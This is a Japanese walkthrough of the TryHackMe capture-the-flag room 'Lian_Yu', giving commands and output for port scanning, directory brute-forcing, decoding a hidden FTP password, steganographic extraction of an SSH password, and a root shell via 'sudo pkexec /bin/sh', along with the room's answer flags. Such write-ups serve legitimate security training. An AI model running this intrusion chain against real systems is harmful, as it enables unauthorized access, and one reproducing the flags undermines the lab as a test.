【TryHackMe】Lian_Yu：Walkthrough

# 概要

TryHackMe「Lian_Yu」のWalkthroughです。

https://tryhackme.com/r/room/lianyu

# Task1

## **Q2**.*What is the Web Directory you found?*

**Hint**.*In numbers*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.17.209 -oN nmap_result
PORT      STATE    SERVICE VERSION
21/tcp    open     ftp     vsftpd 3.0.2
22/tcp    open     ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
|   2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
|   256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_  256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp    open     http    Apache httpd
|_http-server-header: Apache
|_http-title: Purgatory
111/tcp   open     rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36312/udp   status
|   100024  1          38339/tcp   status
|   100024  1          52159/udp6  status
|_  100024  1          60498/tcp6  status
```

`80`番ポートでWebサービスが動いているのでアクセスします。

![home page.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/42ffeee8-dee4-90ac-225a-0140804d78bb.jpeg)

ディレクトリの列挙を行います。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.10.181.78/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result -of md
                        [Status: 200, Size: 2506, Words: 365, Lines: 60, Duration: 239ms]
island                  [Status: 301, Size: 235, Words: 14, Lines: 8, Duration: 239ms]
```

`/island`パスを発見しました。

![island.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1b6d881f-8c4a-de5f-d274-261d891c689c.jpeg)

このページでは`vigilante`というワードが隠されていました。

![code word.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/65490653-9f3c-ca54-0458-a8e3efcd668d.jpeg)

`/island`配下に`2100`パスを発見しました。

```
2100                    [Status: 301, Size: 240, Words: 14, Lines: 8, Duration: 238ms]
```

![2100 page.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/07ff0974-5967-952f-f17e-ce9efadaabc0.jpeg)

**A**.**2100**

## **Q3**.*what is the file name you found?*

**Hint**.*How would you search a file/directory by extension?*

`/island/2100`のソースコードを見るとコメントを得られました。

![2100 source code.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4f71afef-f876-6b37-5fe3-e59eeb02161b.jpeg)

問題文やヒントから`.ticket`拡張子である可能性があります。
拡張子を指定してスキャンを行うと`green_arrow.ticket`を発見しました。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.10.85.149/island/2100/FUZZ -e .ticket -recursion -recursion-depth 1 -ic -c -o ffuf_result -of md
green_arrow.ticket      [Status: 200, Size: 71, Words: 10, Lines: 7, Duration: 239ms]
```

**A**.**green_arrow.ticket**

## **Q4**.*what is the FTP Password?*

**Hint**.*Looks like base? https://gchq.github.io/CyberChef/*

`/island/2100/green_arrow.ticket`にアクセスすると文字列を発見しました。

![green arrow ticket.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/57576f0f-f0e5-ba02-e7af-b4045609f2b3.jpeg)

ヒントから`base*`のエンコードと予測できたのでデコードを試行すると、`base58`でデコードできました。

```
$ echo -n "RTy8yhBQdscX" | base58 -d 
!#th3h00d
```

**A**.**!#th3h00d**

## **Q5**.*what is the file name with SSH password?*

`Username: vigilante`,`Password: !#th3h00d`でFTPのログインに成功しました。

```
$ ftp 10.10.85.149
Connected to 10.10.85.149.
220 (vsFTPd 3.0.2)
Name (10.10.85.149:kali): vigilante
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

`slade`というアカウントを発見しましたがディレクトリの中には何もありませんでした。

```
ftp> ls ../
229 Entering Extended Passive Mode (|||44667|).
150 Here comes the directory listing.
drwx------    2 1000     1000         4096 May 01  2020 slade
drwxr-xr-x    2 1001     1001         4096 May 05  2020 vigilante
226 Directory send OK.
```

`vigilante`ディレクトリの中を見ると画像ファイルを3つ発見しました。

```
ftp> ls
229 Entering Extended Passive Mode (|||24823|).
150 Here comes the directory listing.
-rw-r--r--    1 0        0          511720 May 01  2020 Leave_me_alone.png
-rw-r--r--    1 0        0          549924 May 05  2020 Queen's_Gambit.png
-rw-r--r--    1 0        0          191026 May 01  2020 aa.jpg
226 Directory send OK.
```

とりあえず、3つ全てダウンロードします。

```
ftp> mget *
```

`Leave_me_alone.png`がエラーで開けませんでした。

![png file error.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/203cf0c6-5bb8-fbb1-1e75-e8634a62cb11.jpeg)

バイナリを見るとマジックナンバーがPNGではないとわかりました。

![hex org file.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/35a1dcf0-ecce-5412-80b7-5e354589c5d8.jpeg)

マジックナンバーを`89 50 4E 47 0D 0A 1A 0A`に編集し画像を復元しました。

![Leave_me_alone.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/afe8c348-6d49-3a2a-d4ca-b194b7d150de.png)

`Passwrod: password`を使用して`aa.jpg`から`ss.zip`ファイルを抽出できました。

```
$ steghide extract -sf aa.jpg    
Enter passphrase: 
wrote extracted data to "ss.zip".
```

`ss.zip`から二つのファイルを入手できました。

```
$ unzip ss.zip                                       
Archive:  ss.zip
  inflating: passwd.txt              
  inflating: shado
```

```passwd.txt
This is your visa to Land on Lian_Yu # Just for Fun ***


a small Note about it


Having spent years on the island, Oliver learned how to be resourceful and 
set booby traps all over the island in the common event he ran into dangerous
people. The island is also home to many animals, including pheasants,
wild pigs and wolves.
```

```shado
M3tahuman
```

**A**.**shado**

## **Q6**.*user.txt*

`Username: slade`,`Password: M3tahuman`でSSH接続に成功しました。

```
$ ssh slade@10.10.85.149    
slade@10.10.85.149's password: 
                              Way To SSH...
                          Loading.........Done.. 
                   Connecting To Lian_Yu  Happy Hacking

██╗    ██╗███████╗██╗      ██████╗ ██████╗ ███╗   ███╗███████╗██████╗ 
██║    ██║██╔════╝██║     ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗
██║ █╗ ██║█████╗  ██║     ██║     ██║   ██║██╔████╔██║█████╗   █████╔╝
██║███╗██║██╔══╝  ██║     ██║     ██║   ██║██║╚██╔╝██║██╔══╝  ██╔═══╝ 
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗
 ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚══════╝


        ██╗     ██╗ █████╗ ███╗   ██╗     ██╗   ██╗██╗   ██╗
        ██║     ██║██╔══██╗████╗  ██║     ╚██╗ ██╔╝██║   ██║
        ██║     ██║███████║██╔██╗ ██║      ╚████╔╝ ██║   ██║
        ██║     ██║██╔══██║██║╚██╗██║       ╚██╔╝  ██║   ██║
        ███████╗██║██║  ██║██║ ╚████║███████╗██║   ╚██████╔╝
        ╚══════╝╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚═╝    ╚═════╝  #

slade@LianYu:~$
```

`/home/slade/user.txt`からユーザーフラグを入手できます。

```user.txt
THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T}
                        --Felicity Smoak
```

**A**.**THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T}**

## **Q7**.*root.txt*

`sudo -l`で確認すると`/usr/bin/pkexec`がヒットしました。

```
$ cat .bash_history 
Sorry I couldn't Help
slade@LianYu:~$ sudo -l
[sudo] password for slade: 
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec
```

GTFOBinsから権限昇格の脆弱性を発見しました。

https://gtfobins.github.io/gtfobins/pkexec/#sudo

root権限を取得出来ました。

```
$ sudo pkexec /bin/sh
# whoami
root
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
                          Mission accomplished



You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE. 



THM{MY_W0RD_I5_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_IT_WILL_BE_COMPL3TED_OR_I'LL_BE_D34D}
                                                                              --DEATHSTROKE

Let me know your comments about this machine :)
I will be available @twitter @User6825
```

**A**.**THM{MY_W0RD_I5_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_IT_WILL_BE_COMPL3TED_OR_I'LL_BE_D34D}**